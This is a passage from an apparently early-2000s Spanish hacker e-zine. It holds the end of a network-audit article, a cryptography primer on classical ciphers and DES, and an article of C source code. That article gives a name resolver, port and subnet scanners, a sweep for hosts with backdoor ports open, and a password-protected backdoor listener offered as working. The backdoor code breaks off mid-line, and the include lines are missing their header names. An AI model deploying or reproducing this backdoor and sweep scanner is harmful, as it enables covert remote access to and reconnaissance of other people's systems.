Por supuesto, el fallo se soluciono en un par de dias. ]
Y por ultimo, nunca esta de mas sugerir el uso de herramientas como LIDS [6]
y/o tripwire [7] en nuestros hosts mas sensibles.
----[[ Politicas de usuario ]]
Cuando tenemos un sistema, cualkiera sea su proposito, que sea frecuentado
por usuarios (shells ?), hace falta tener todo controlado. Debido a este es
que, si no mantenemos una politica de usuarios correcta, la tarea de
administracion se volvera muy tediosa e insegura.
Pero, ke es una politica de usuario ?
Las politicas de usuarios son "reglas" impuestas en nuestro sistema, tanto
para los usuarios como para los administradores.
Las reglas para los usuarios se aplican para tener las cosas claras, y en
caso de una violacion, tener una excusa para aplicar las medidas necesarias.
Por ejemplo, podemos tener prohibido el tener archivos ejecutables en los
directorios de usuario, o prohibir estar logeado en mas de una consola a la
vez si nuestra makina tiene pocos recursos, etc. Esto depende mucho del
proposito del sistema.
Ahora, las reglas impuestas a los administradores (que muchas veces seremos
nosotros mismos imponiendonos "auto-reglas"), son para mantener todo en
orden. Por ejemplo, setear un umask razonablemente seguro a cada usuario (man
umask para los que no sepan de que hablo), apuntar los bash_history a nuestro
home, etc. Reglas en gerenal para facilitarnos el trabajo y mantener todo
seguro.
Ahora, hablar sobre como debe ser una politica de usuario especificamente es
dificil. Al igual ke la mayoria de las cosas, depende del proposito del
sistema entre otras cosas.
Lo que si puedo recomentar son algunas cosas que normalmente deben ser
tomadas en cuenta a la hora de crear nuestra politica (notese que esta no es
una lista exhaustiva, son solo algunos ejemplos que se me vienen a la mente
en este momento):
Para los usuarios:
- umask de los usuarios.
- Que tipo de archivos tienen permitido tener.
- Que servicios se les permite usar.
- Que cantidad de recursos de sistema pueden usar.
- A donde se pueden conectar (si es que pueden a alguna parte).
- Horarios de coneccion (si es necesario).
- Revisar que usen passwords suficientemente buenos.
Para los admins:
- Organizacion de el sistema (i.e. Donde tener los archivos
delicados y cosas asi.).
- Tener bien claro cuan a menudo hacer revisiones de sistema (logs,
archivos, suids, etc.).
- Tener claro el tratamiento de los usuarios (mantener ordenados los
grupos, ojala crear grupos diferentes para diferentes tipos de
usuarios, etc.).
Y por ultimo, sobre como implementar todo esto, hay 2 maneras.
La primera es hacerlo mediante software (i.e. Si queremos que los usuarios no
tengan acceso al exterior, simplemente bloqueamos la salida con algun filtro
como ipchains, o si queremos que usen una cierta cantidad de ancho de banda
como maximo, lo implementamos a nivel de kernel con QoS (esto en linux, en
win no se como es, pero seguro habra alguna forma).
La segunda manera es implementarlo mediante simples reglas impuestas al
usuario, por ejemplo poner un mensaje en el motd del sistema, diciendo que no
se pueden tener archivos ejecutables en los homedirs, o diciendo que no se
puede hacer ping desde esta maquina, etc.
Sobre de que manera implementar cada cosa depende de lo que mas convenga,
tomando en cuenta comodidad, seguridad y eficiencia.
----[[ Firewall ]]
A mi gusto toda red que pretenda ser segura debe contar con algun tipo de
firewall. Ya que este firewall tambien forma parte de la red, tambien nos
correspondera auditarlo.
A la hora de auditar un firewall no tengo mucho que decir. No conozco mucho
de firewalls y, como vengo repitiendo en muchas otras partes de este
articulo, depende en gran medida de nuestro sistema.
Lo que si puedo decir es que una vez que escojamos, segun lo que el sistema
necesite, una configuracion determinada para un firewall, hagamos las pruebas
prudentes para ver si esta configuracion funciona o si se nos fue algun
detalle o editamos algo mal en los archivos de configuracion.
----[[ NIDS ]]
Otra medida importante para una red es tener un NIDS (Network Intrusion
Detection System) que detecte intentos de penetracion al sistema y nos avise
de ello en una forma rapida y facil, ademas de logear lo que esta haciendo el
atacante.
Un NIDS que capte todo intento de intrusion es muy dificil de encontrar. Si
el NIDS es muy paranoico, nos dara una alarma de intrusion en muchos casos
falsa, y por el contrario, si es muy permisivo, muchas veces los atacantes
podran pasar desapercibidos.
Analizar exhaustivamente los NIDS queda fuera del espectro de este articulo,
pero recomiendo la lectura de un exelente paper que trata sobre el tema,
que nos guiara a la eleccion de el NIDS que mas nos convenga y nos llevara a
ver las vulnerabilidades de los NIDS que normalmente los atacantes trataran
de aprovechar. Este paper puede ser encontrado en [8]
----[[ Palabras Finales ]]
Aqui termina este articulo. Espero que halla sido del agrado de todos y ke
halla valido todo el tiempo y la cafeina gastada en hacerlo :).
Aunque lo expuesto aqui solo es info no-profesional y basada mas que nada en
la experiencia, creo que servira al menos como una guia decente para
ubicarnos un poco en el tema.
Y si alguna vez llegas a implementar lo expuesto en este articulo en una
auditoria real, me encantaria recibir comentarios, sugerencias, etc. etc.
Saludos a CDLR, OverChile, warez.cl, DarkBlack, |CodeX| y los muchos otros
ke supongo se me estan olvidando.
teespy
----[[ Referencias ]]
[1]: "Teoria de Firewalling. IPFilter", by DarkBlack,
www.networking-center.org
[2]: "Cisco IOS Network Address Translation (NAT)",
www.cisco.com/warp/public/701/60.html
[3]: "The IP Network Adress Translator", by K. Egevang & P. Francis,
info.internet.isi.edu/in-notes/rfc/files/rfc1631.txt
[4]: Securityfocus, www.securityfocus.com ;
Packetstorm, packetstorm.securify.com
[5]: "How defaced apache.org",
packetstorm.securify.com/papers/general/how.defaced.apache.org.txt
[6]: LIDS, Linux Intrusion Detection System, www.lids.org
[7]: Tripwire, www.tripwire.com
[8]: "Insetion, Evasion and Denial of Service: Eluding Network Intrusion
Detection", by Thomas H. Ptacek,
packetstorm.securify.com/papers/IDS/ids.ps
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 04 Seguridad en Redes ::--..
by Tomas Barros
Introduccion
Criptografia
· Cifrado por sustitucion
· Cifrado por Transposision
· Algoritmos inquebrables
· Criptografia Moderna
· Data Encription Standard (DES)
Introduccion
------------
Seguridad es un termino que involucra muchos significados en diversos topicos
de nuestras vida.
En nuestro caso hablaremos de seguridad en el ambito de protejerse.
Especificamente en computacion, podemos protegernos de fallas de disco, de
intrusos en nuestro sistema, de espias en la red, etc.
Este articulo se refiere a la seguridad en la transmision de datos en redes
conocida como ``Network Security''. Bajo ningun caso es la intencion cubrir
todos los aspectos de seguridad que significa estar conectado a una red, sino
exclusivamente a lo que se refiere en la transmision de datos; topicos como
protegerse de ataques de intrusion en nuestros sistemas, denial of service,
crackers, etc., si bien tambien son productos de la red, estan fuera del
objetivo del documento.
La seguridad en redes la podemos enfocar desde cuatro puntos de vista, si
bien ditintos, muy relacionados entre si:
1. Confidencialidad
Esta se refiere a mantener la informacion fuera del alcanze de usuarios
no autorizados. En la practica, como veremos mas adelante, consiste en
mantener la informacion ilegible para usuarios no autorizados.
2. Autentificacion
En esta area consiste en asegurar el usuario con quien se quiere
establecer una comunicacion es realmente quien dice ser. En el caso de
mensajeria, como el e-mail, consiste en determinar que la informacion
proviene realmente de quien dice provenir.
3. Integridad
Consistente en verificar que la informacion no ha sido modificada por
terceros en camino (mientras viajaba).
4. No repudacion
Esta area, de gran importacia en las transacciones comerciales, consiste
en que un usuario no pueda denegar una informacion que realmente envio.
Sin hacer mucho esfuerzo podemos notar que estos cuatro enfoques no son nada
nuevo producto de la computacion sino que ha estado presente en los sistemas
tradicionales durante toda la historia del ser humano.
En lo que se refiere a confidencialidad por ejemplo, es un tema casi
instintivo; ¿quien no tiene algo celosamente escondido con un acceso muy
restringido a ciertas personas?, ¿cuantos, siendo muy peque~os, ciframos
mensajes escritos en la sala de clase?.
La confidencialidad, entendida como el secreto, tiene dos soluciones:
Steganografia: consiste en ocultar la informacion fisicamente o logicamente.
Seguramente la primera tecnica que se nos viene a la mente a la hora de
ocultar algo. Los atiguos militares chinos ocuparon mucho duras tecnicas
en esta area, ocultando los mensajes dentro de los cuerpos de los
mensajeros. Aunque parezca extra~o, hoy en dia se utilizan de forma
efectiva en la transmision de datos; algunos cables militares estan
dentro de tubos de gas a presion, la idea es que si alguien intenta
interceptar la informacion debe abrir el tubo lo que produciria una baja
de presion lo que permite notar que el canal ya no es seguro.
Criptologia: tiene dos areas de estudio:
Criptografia: consiste en usar tecnicas para cifrar (codificar) la
informacion para hacerla ilegible exepto para ciertos usuarios.
Criptoanalisis: consiste en descubrir el contenido de un mensaje cifrado
sin poseer los elementos necesarios para hacerlo.
Criptografia
------------
Esta area tiene una larga historia no carente de controversias.
Siempre se ha encontrado una resistencia al uso de esta. En la antigua China
estaba prohibida y sin ir mas lejos en la actualidad esta muy restringida en
la legislacion americana y exageradamente en la francesa. Las razones y la
discusion en torno a lo anterior da para largo, informacion al respecto se
puede encontrar en el documento ``Cryptography and Liberty 1999
(http://www.epic.org/reports/crypto1999.html)'' y en muchisimos sitios de
internet.
Hay hitos de que la India antigua conocia y utilizaba metodos criptograficos.
En registros mas recientes tenemos a Julio Cesar, el gran emperador, quien
desarrollo su propio cifrador para enviar mensajes con sus soldados; este
consistia en desplazarse tres letras a la derecha en el abecedario, asi por
ejemplo, la letra ``e'' pasaria a ser ``h''. Es obvio notar que el algoritmo
es sumamente deducible y seguramente no debio ser muy efectivo.
Probablemente, quien fue el primero en interesarse seriamente en criptografia
fue Alberti (siglo XV), considerado el padre de la criptologia occidental.
Alberti estudio varias formas de criptoanalisis para luego inventar su propio
cifrador conocido como el disco de Alberti mostrado en Figura 1.
(Fig01.jpg)
La idea en Alberti es reemplazar la letra interior por la exterior. Se
necesitan tanto los discos como la posicion relativa para poder obtener el
mensaje original.
Quienes mas han colaborado al arte de la criptografia, sin ser los unicos,
han sido los militares. En la criptografia tradicional los mensajes a ser
cifrados (encriptados), comunmente llamados plaintext, son transformados por
una funcion parametrizada por una llave (key). El resultado de esta funcion
es lo que se transmite; aun cuando un intruso lograse interceptar la
informacion, este no podra entenderla debido a que no conoce la llave key.
El arte de volver al mensaje original a partir de uno cifrado sin conocer la
llave es lo que se conoce como criptoanalisis.
Una de las bases que se debe tener en cuenta en criptografia es que el
algoritmo utilizado es conocido por los criptoanalistas, intrusos, espias o
como se les llame, principalmente por dos razones.
1. El tiempo empleado en inventar, probar e instalar un nuevo cifrador cada
vez que el metodo viejo es comprometido hace imposible mantener la
confidencialidad de este, ademas de ser un gasto de tiempo innecesario.
Sumado a esto, uno podria creer que un algoritmo es secreto cuando en la
realidad no lo es, lo que definitivamente es aun mas peligroso que usar
un algoritmo que sabemos de antemano puede ser violado.
2. El otro punto, es que en el hecho de que un algorimo sea publico radica su
solidez. Al publicar un algoritmo, el desarrollador obtendra un gran
numero de consultorias gratis de academicos e investigadores que
publicaran papers apuntados a quebrar el sistema. Si al cabo de algunos
a~os el algoritmo no ha sido quebrado, probablemente quiere decir que es
bastante solido.
En resumen, la real confidencialidad radica en la llave y la complejidad en
su largo.
Tres son los ataques frecuentes a sistemas criptograficos, cuya resistencia a
estos determinan la solidez del algoritmo. Estos son:
1. Ataque por fuerza bruta: probar con varias llaves hasta acertar con la
correcta. Claramente la fortaleza aumentara con el largo de la llave.
2. Ataque estadistico: consistente en determinar repeticion de caracteres
para deducir el texto original. La fortaleza de este quedara determinado
por el tama~o del bloque que se encripta.
3. Ataque con textos conocidos: dado un conjunto de textos cifrados y
originales conocidos, deducir la llave.
Los sistemas de cifrado o encriptacion se han dividido tradicionalmente en
dos categorias: cifrado por sustitucion y cifrado por transposicion.
Cifrado por sustitucion
-----------------------
En el cifrado por sustitucion cada letra o grupo de letras es reemplazado por
otra letra o un grupo de letras. Como mencionamos antes, uno de los mas
antiguos cifrados por sustitucion conocido es el empleado por Julius Caesar
quien reemplazaba cada letra por la que se hubicase tres lugares a la derecha
de esta en el abecedario; asi la a se vuelve d, la b en e, etc.
Uno de los sistemas mas basicos es la sustitucion monoalfabetica, donde se
usa una llave equivalente a todas las letras del alfabeto, las cuales se
ordenan aleatoriamente para formar la llave. Esta llave se contrapone con el
alfabeto con la idea que al encriptar se reemplazan las letras por la
contrapuesta. Para recuperar el mensaje original se hace el proceso inverso.
Veamos un ejemplo:
Sea la llave QWERTYUIOPASDFGHJKLZXCVBNM
Al contraponerla con el alfabeto nos queda:
A B C D E F G H I J K L M
Q W E R T Y U I O P A S D
N O P Q R S T U V W X Y Z
F G H I J L Z X C V B N M
Probablemante este sistema se ve bastante seguro, porque aunque un
criptoanalista conociese el metodo, no conoce cual de las (fig02.jpg)
posibles llaves es la correcta. Aun cuando intentase adivinarla por fuerza
bruta, digamos tomando (fig03.jpg) por intento, tomaria alrededor de 1013
a~os en probarlas todas.
Sin embargo, dado un bloque de texto cifrado, el criptoanalista podria usar
ataque estadistico. La letra mas usada en el espa~ol es la letra a, entonces
en un primer paso buscamos la letra mas repetida en el texto cifrado y
suponemos que es una ``e''; depues seguimos con la segunda letra mas repetida
y la tercera, etc. Despues si es necesario, podemos hacer un analisis en base
al par de letras mas repetidas, el trio, etc. Finalmente, tambien podemos
tratar de adivinar palabras o frases mas usadas, lo cual es mas facil si
sabemos el contexto del texto cifrado. (ej: una transaccion bancaria, una
carta de amor, etc.).
Supongamos que tenemos el siguiente texto cifrado:
LO SQ CORQ ZT RQ SQ TLHQSRQ QUQKKQST TS HGZG
Como podemos apreciar la letra mas repetida es la ``Q'', por lo que la
reemplazaremos por ``a''. Asi tambien la letra mas repetida que le sigue es
la ``e'', que en nuestro caso la segunda mas repetida es la ``S'';sin embargo
si reemplazamos la ``S'' por ``e'' en la palabra SQ nos quedara ``ea'' lo
cual no existe en espa~ol. Lo que si sabemos es que uno de los articulos mas
repetidos en el espa~ol es el articulo ``la''. En nuestro texto cifrado se
repite dos veces la palabra SQ y ademas cumple la regla de reemplazar la
``Q'' por ``a'', de donde podemos suponer que ``S'' equivale a la letra
``l''. Hagamos los reemplazos hasta ahora.
LO la CORa ZT Ra la TLHalRa aUaKKalT Tl HGZG
Ahora podriamos volver a usar que la ``e'' es la segunda letra mas repetida
que en este caso corresponderia a la ``T''. Ademas sabemos por la palabra
``Ra'', que la ``R'' debe ser ``d'', ``h'' o ``v'' que serian las opciones
validas en espa~ol; sin embargo, al analizar la ``R'' en ``TLHalRQ'' podemos
deducir que la mejor candidata es la letra ``d''. Reemplazando:
LO la CORa Ze da la eLHalda aUaKKale el HGZG.
Ahora podemos deducir que ``eLHalda'' es ``espalda'' y que por lo tanto la
``L'' equivale a ``s'' y la ``H'' a ``p'', con lo que nos quedaria:
sO la CORa Ze da la espalda aUaKKale el pGZG.
Si seguimos analizando descubriremos que la frase original era ``Si la vida
te da la espalda, agarrale el poto''. Es cierto que existe una cierta
ambigüedad porque en la frase anterior la palabra ``te'' podria haber sido
perfectamente ``me'', pero eso lo podemos solucionar al ver la gramatica de
la frase.
Como habran podido notar, mientras mas grande es el texto cifrado por
sustitucion que poseemos, mas facil sera descifrarlo.
Cifrado por Transposision
-------------------------
Los cifrados por sustitucion mantienen el orden de las letras del texto
original aunque las reemplaza. En contraste, los cifrados por transposision
reordenan o mejor dicho desordenan las letras del texto original sin
reemplazarlas.
La tabla siguiente muestra un tipico algoritmo de transposicion utilizando
como llave la palabra AMOR.
M U E R T A
e s t a l a
e s p e r a
n z a d e l
o s a m a n
t e s
El texto que se desea encriptar se escribe horizontalmente y hacia abajo, en
el ejemplo el texto que queremos encriptar es ``esta la esperanza de los
amantes''. En este algoritmo, el texto se reescribe por columnas partiendo
por la que tiene la letra mas baja en la llave y las que siguen. En nuestro
ejemplo debiesemos partir por la columna que empieza por ``A'', para luego
seguir con ``E'', ``M'' , ``R'', ``T'' y ``U''. El texto cifrado nos quedaria
entonces:
``AALNTPAASEENOTAEDMLREASSZSE''.
Un criptoanalista, para descubrir el texto original primero debe saber que
esta enfrentado a un cifrado por transposicion, lo cual no sera dificil al
ver las ocurrencias de ``a'', ``e'' y en general de las letras mas usadas del
idioma. Si estas estan en igual orden de ocurrencia en el texto cifrado, el
criptoanalista podra concluir que las letras estan en su forma original y que
por lo tanto se esta enfrentando a un cifrado de transposicion.
Lo siguiente que debiese hacer es adivinar el numero de columnas. Supongamos
que el sabe que la frase ``la esperanza'' esta dentro del contenido del
mensaje. Observemos los pares ``EN'', ``SZ'', ``PA'', ``ED'' y ``RE''
producto del reorden. Si la llave hubiese sido de largo 7 se habrian
producido los pares ``EZ'' y ``SA''. Asi, despues de algunos intentos el
criptoanalista puede llegar a determinar el largo de la llave para luego
encontrar el orden correcto de las columnas lo cual es relativamente facil.
Algoritmos inquebrables
-----------------------
A pesar de lo que se pueda pensar de las llaves anteriores, dise~ar un
algoritmo inquebrable es una tarea facil y conocida hace tiempo. Nosotros
podemos simplemente generar una llave aleatoria del mismo largo del texto a
cifrar, representar ambos en bits y hacer un EXCLUSIVE OR entre ambos. Este
algoritmo es inquebrable porque cada bit tiene la misma probabilidad de ser 1
o 0 en el texto original.
Sin embargo, estos algoritmos conocidos como ``On-time pads'' tienen una
serie de inconvenientes como que la llave la deben conocer tanto el enviador
como el recibidor o principalmente, que la llave debe ser del largo del texto
que se desea encriptar.
Criptografia Moderna
--------------------
La criptografia moderna usa las mismas ideas basicas de sustitucion y
transposicion que la tradicional aunque en un uso diferente. Tradicionalmente
se ha optado por usar llaves muy largas y algoritmos simples, en la
criptografia moderna se utilizan llaves relativamente peque~as y algoritmos
complejos de forma que aunque el criptoanalista pueda reunir mucha
informacion y texto cifrado le sea practicamente imposible recuperar el texto
original si no cococe la llave.
Antes de continuar quisiera introducir la notacion formal de un
criptosistema. Un criptosistema es una tupla (P,C,K,E,D) donde :
· P: es un conjunto posibles textos planos
· C: es un conjunto de posibles textos cifrados
· K: es un conjunto de llaves
· E: es un conjunto de funciones que depende de (fig04.jpg)
(fig05.jpg )
· D: es un conjunto de funciones que depende de (fig04.jpg)
(fig06.jpg)
· Se debe cumplir:
(fig07.jpg)
En la definicion anterior ek corresponde al cifrador y dk al descifrador
donde k puede ser diferente para cada uno.
A modo de ejemplo veamos la definicion formal del cifrador de Caesar
mencionado anteriormente:
· P=C=K=Z26
· (fig08.jpg)
· (fig09.jpg)
Donde para el caso de Caesar k=3.
Otro ejemplo es la definicion formal de un cifrador por sustitucion:
· P=C=Z26
· K = Conjunto de permutaciones (fig10.jpg) sobre Z26
· (fig11.jpg)
· (fig12.jpg)
Data Encription Standard (DES)
------------------------------
A principios de los 70 todo el conocimiento en criptografia estaba
concentrado en grupos militares: no existian publicaciones y la National
Security Agency (NSA) negaba su existencia. En 1972 el NBS (hoy el NIST)
inicio un programa para proteger los computadores y las comunicaciones, el 15
de Mayo de 1973 el NBS hizo un llamado a concurso para definir un algoritmo
estandar de cifrado el cual debia cumplir los siguientes requisitos:
Alto nivel de seguridad.
Completamente especificado y facil de entender.
La seguridad debe descansar en la llave.
Disponible para todos los usuarios.
Adaptable a diferentes aplicaciones.
Economicamente viable de implementar en dispositivos de Hardware.
Debia ser eficiente, validable y exportable.
A pesar de haber un gran interes, ninguna de las propuestas se considero
suficiente y se hizo un segundo llamado el 27 de Agosto de 1974. IBM propuso
una variacion de LUCIFER el que fue enviado a la NSA para analisis. La NSA
redujo la llave de 128 a 56 bits ademas de modificar unas tablas de
transformacion usadas por el algoritmo. Se libero la patente.
En 1975 el algoritmo fue publicado para pedir comentarios, los cuales no
estuvieron ajenos de controversias, especialmente en cuanto a las
modificaciones de la NSA. Se creia entonces y hasta hoy que la NSA redujo la
llave e hizo modificaciones para tener un back door o puerta trasera, es
decir, una formula secreta para poder desencriptar un texto cifrado si la NSA
lo quisiese.
En 1976, 2 grupos fueron designados para analizar las propiedades del
algoritmo. El 23 de Noviembre de 1976 DES fue adoptado como el estandar
federal en USA.
DES descripcion formal FIPS PUB 46 (1976)
DES modos de operacion FIPS PUB 81 (1980)
DES guias de implementacion y uso FIPS PUB 74 (1981)
DES para encriptar passwords FIPS PUB 112
DES para autentificar datos de computador FIPS PUB 113
Existen algunos comentarios que la NSA nunca quiso publicar el algoritmo y
que fue un mal entendido entre la NSA y NBS. El siguiente algoritmo estandar
del gobierno (skipjack) fue clasificado.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 05. Creando fuentes ::--..
by Shisei Brujo
"We don't need the key"
"we'll break in"
rage against the machine
"Si conoces el sistema"
"puedes quebrarlo"
Shisei Brujo ;)
Bueno, como dice el titulo, en este articulo nos vamos a dedicar a crear
fuentes, y aqui tratare de mostrar como se pueden ir creando peque~os
programas que nos seran de mucha utilidad al momento de revisar la seguridad
de NUESTRA RED. Lamentablemente como se ha dicho en muchos articulos, las
herramientas que nos sirven para verificar la seguridad de nuestra red,
tambien serviran para verificar ( sin permiso ) la seguridad de redes ajenas,
convirtiendo a estas herramientas en armas de doble filo. Asi que solamente
ustedes son responsables de lo que hagan con los programas.
Las personas que estan empezando con esto de la programacion, se daran cuenta
que todos los grandes programas estan divididos en pequeñas funciones, y
estas en otras funciones, etc. o como mostrare a continuacion, hay programas
que usan caracteristicas de otros incluidas dentro de ellos. Me explico, en
la creacion de un auto, se usan los focos ( esas weas pa iluminar ), pero
vemos tambien que los focos se pueden utilizar de forma independiente,
obviamente no en la forma en que lo encontramos en un auto pero el resultado
sigue siendo el mismo, iluminar.
Tomando en cuenta esa peque~a parte teorica, empezaremos a ver los fuentes,
que es lo que realmente les interesa :(
El primero es un resolvedor de nombres, un programa al que le pasas un numero
de ip, y te devuelve el nombre del servidor.
#include
#include
#include
#include
#include
#include
main(int argc, char *argv[])
{
struct hostent *lookup;
char name[255];
unsigned long addr;
if (argc != 2)
{
printf("Uso: %s \n", argv[0]);
exit(1);
}
if ((addr = inet_addr(argv[1])) == -1)
{
printf("No se pudo encontrar %s\n", argv[1]);
exit(1);
}
if ((lookup = gethostbyaddr((char *) &addr,sizeof(long),AF_INET)) != NULL)
{
printf("%s \t %s\n",argv[1], lookup->h_name);
*lookup->h_addr_list++;
}
else
printf("No se pudo encontrar nombre de Host para %s\n",argv[1]);
}
Por si no se dan cuenta, no le puse explicaciones, y es que este no es un
curso de programacion, y ademas me aburre ponerlas.
El siguiente programa es un archiconocido PortScan, y ustedes diran "por la
mierda, los portscaners nos salen hasta en la sopa, cambia la caga de
programa y bla bla bla", pero yo les digo calma, la paciencia es el saber de
la ciencia, que despues entenderan porque lo puse ;)
#include
#include
#include
#include
#include
#include
main(int argc, char *argv[])
{
int sock;
struct sockaddr_in cliente;
struct servent *Descripcion;
struct hostent *lookup;
unsigned long addr;
int puerto;
if ((argc) != 2)
{
printf("Uso: %s \n", argv[0]);
exit(-1);
}
printf("\n\tScan v2.0 para maquinas con Linux\n");
printf("\t Desarrollado por Shisei Brujo\n\n");
if ((addr=inet_addr(argv[1]))==-1)
{
printf("No se pudo encontrar %s\n", argv[1]);
exit(1);
}
if ((lookup = gethostbyaddr((char *) &addr, sizeof(long), AF_INET)) !=NULL)
{
printf("Escaneando a %s\n", lookup->h_name);
*lookup->h_addr_list++;
}
else
printf("Escaneando a %s\n", argv[1]);
for(puerto=1;puerto<1000;puerto++)
{
if ((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf ("Error al crear Socket.\n");
exit(-1);
}
cliente.sin_family = AF_INET;
cliente.sin_addr.s_addr = inet_addr(argv[1]);
cliente.sin_port = htons(puerto);
bzero(&(cliente.sin_zero), 8);
Descripcion=getservbyport(htons(puerto), "tcp");
if ((connect(sock, (struct sockaddr*)&cliente, sizeof(cliente))) > -1)
{
printf("Puerto %d %s\n", puerto, (Descripcion==NULL)? "Sin registro":Descripcion->s_name);
}
close(sock);
}
printf("Trabajo terminado.\n");
}
Por si no se habran dado cuenta, en este PortScaner ocupamos la funcion o
mejor dicho el programa de recien para mostrar el nombre del host, y ademas
usa el archivo services para mostrar la descripcion de los puertos
encontrados ( en la funcion getservbyport () )
Ahora continuaremos con un programa que examina una subred, o sea, tienes un
servidor cualquiera en una direccion 200.200.200.15 con el nombre serv.com,
este programa encontrara los demas servidores conectados a este, por ej.
el 200.200.200.1 de nombre paginas.serv.com
el 200.200.200.2 de nombre servicios.serv.com
....
para usar el programa,
localhost>./programa 200.200.200
entonces buscara del ip 200.200.200.1 al 200.200.200.255, mostrando los
servidores que esten conectados.
Entienden!, bien bien, entonces al fuente:
#include
#include
#include
#include
#include
#include
#include
main(int argc, char *argv[])
{
char ip[15];
int x, y, z;
unsigned long addr;
struct hostent *lookup;
if(argc!=2)
{
printf("Uso: %s \n", argv[0]);
exit(0);
}
strcpy(ip, argv[1]);
for(x=0;x<3;x++)
for(y=0;y<10;y++)
for(z=0;z<10;z++)
{
if((x+y+z)>0)
{
if((x==2)&&(y==5)&&(z==6))
{
printf("Trabajo terminado\n");
exit(0);
}
ip[strlen(ip)]='.';
if((x==0)&&(y==0))
ip[strlen(ip)]=toascii(z+48);
else
if(x==0)
{
ip[strlen(ip)]=toascii(y+48);
ip[strlen(ip)]=toascii(z+48);
}
else
{
ip[strlen(ip)]=toascii(x+48);
ip[strlen(ip)]=toascii(y+48);
ip[strlen(ip)]=toascii(z+48);
}
if((addr=inet_addr(ip))!=-1)
{
if((lookup=gethostbyaddr((char *) &addr, sizeof(long), AF_INET))!=NULL)
{
printf("%s %s\n", lookup->h_name, ip);
*lookup->h_addr_list++;
}
}
else
printf("Host desconocido %s\n", ip);
bzero(ip, 15);
strcpy(ip, argv[1]);
}
}
}
Lo que hace este programa es crear numeros de ip, del 1 al 255 y usa el
programa ( nuevamente ) que resuelve los nombres, o sea, en la variable ip,
mete el numero 200.200.200.1 y trata de encontrarlo, si lo encuentra lo
muestra, sino, no lo muestra.
Y finalmente, les explico porque les mostre un resolvedor de nombres, el
PortScaner y el escaneador de IP's.
Primero, tenemos un programa que resuelve nombres, luego un programa que
muestra los puertos abiertos en un servidor, despues otro que escanea una
red en busca de servidores, entonces! podemos crear un programa que busque
en una red, servidores que tengan determinado puerto abierto, por ejemplo
el 31337 o el 23, o el 12345, etc. y notese que para hacerlo debemos usar
los tres programas anteriores.
Ya se que a ustedes insectos, les interesan solo los fuentes, asi que vamos a
ello.
#include
#include
#include
#include
#include
#include
#include
main(int argc, char *argv[])
{
char ip[15];
int x, y, z, sock, puerto;
unsigned long addr;
struct hostent *lookup;
struct sockaddr_in cliente;
if(argc!=3)
{
printf("Uso: %s \n", argv[0]);
exit(0);
}
printf("\n\t\tIportScan v1.0");
printf("\n\tDesarrollado por Shisei Brujo\n\n");
puerto=atoi(argv[2]);
strcpy(ip, argv[1]);
for(x=0;x<3;x++)
for(y=0;y<10;y++)
for(z=0;z<10;z++)
{
if((x+y+z)>0)
{
if((x==2)&&(y==5)&&(z==5))
{
printf("Trabajo terminado.\n", puerto);
exit(0);
}
ip[strlen(ip)]='.';
if((x==0)&&(y==0))
ip[strlen(ip)]=toascii(z+48);
else
if(x==0)
{
ip[strlen(ip)]=toascii(y+48);
ip[strlen(ip)]=toascii(z+48);
}
else
{
ip[strlen(ip)]=toascii(x+48);
ip[strlen(ip)]=toascii(y+48);
ip[strlen(ip)]=toascii(z+48);
}
if((addr=inet_addr(ip))!=-1)
{
if((lookup=gethostbyaddr((char *) &addr, sizeof(long), AF_INET))!=NULL)
{
if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Error al crear socket.\n");
exit(-1);
}
cliente.sin_family=AF_INET;
cliente.sin_addr.s_addr=inet_addr(ip);
cliente.sin_port=htons(puerto);
bzero(&(cliente.sin_zero), 8);
if((connect(sock, (struct sockaddr*)&cliente, sizeof(cliente))) > -1)
{
printf("%s %s Ok\n", lookup->h_name, ip);
*lookup->h_addr_list++;
}
close(sock);
}
}
else
printf("Host desconocido %s\n", ip);
bzero(ip, 15);
strcpy(ip, argv[1]);
}
}
}
Parece todo perfecto, pero no lo es juaaa!, este programa tiene un peque~o
problema ( o un gran problema ). Por alguna extra~a razon, se queda parado
al econtrar un cuarto o tercer host con el puerto abierto.
Alguien me puede explicar esto !!!! tal vez sea una peque~a pifia, una
variable mal asignada, etc. o tal vez simplemente cuando lo probe
la wea resulto mal, realmente no lo se y agradeceria a la persona que me
diera una solucion o que lo probara con su propia red ( con esto se podria
hacer un concurso o algo asi, que venga la modelo !!! ).
Pero no se pueden quejar, de algo les serviran estos fuentes. Y ademas que
por este dia, y solamente por este dia, por encargo de la distribuidora
"andate a la mierda S.A." les incluire otro codigo fuente.
y este si funciona :)
Es un backdoor bastante conocido, pero lo he arreglado de manera que te pida
un password para entrar. Que lata que otras personas se aprovechen de tu
trabajo o no ?.
Bueno, ahi les va el fuente:
#include
#include
#include
#include
#include
#include
#define PORT 4000
int main ()
{
int x, soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
char buffer[1024], buff[1024], password[]="password";
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
if((soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))==-1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
if((soc_rc=bind(soc_des, (struct sockaddr *)&serv_addr, sizeof(serv_addr)))!=0)
exit(-1);
if (fork()!=0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork()!=0)
exit(0);
if((soc_rc = listen(soc_des, 5))!=0)
exit(0);
while (1)
{
soc_len = sizeof(client_addr);
if((soc_cli = accept(soc_des, (struct sockaddr *)&client_addr,&soc_len))<0)
exit(0);
cli_pid = getpid();
if((server_pid= fork())!=0)
{
send(soc_cli, "Password:\n", 10, 0);
recv(soc_cli, buffer, sizeof(buffer), 0);
for(x=0;x
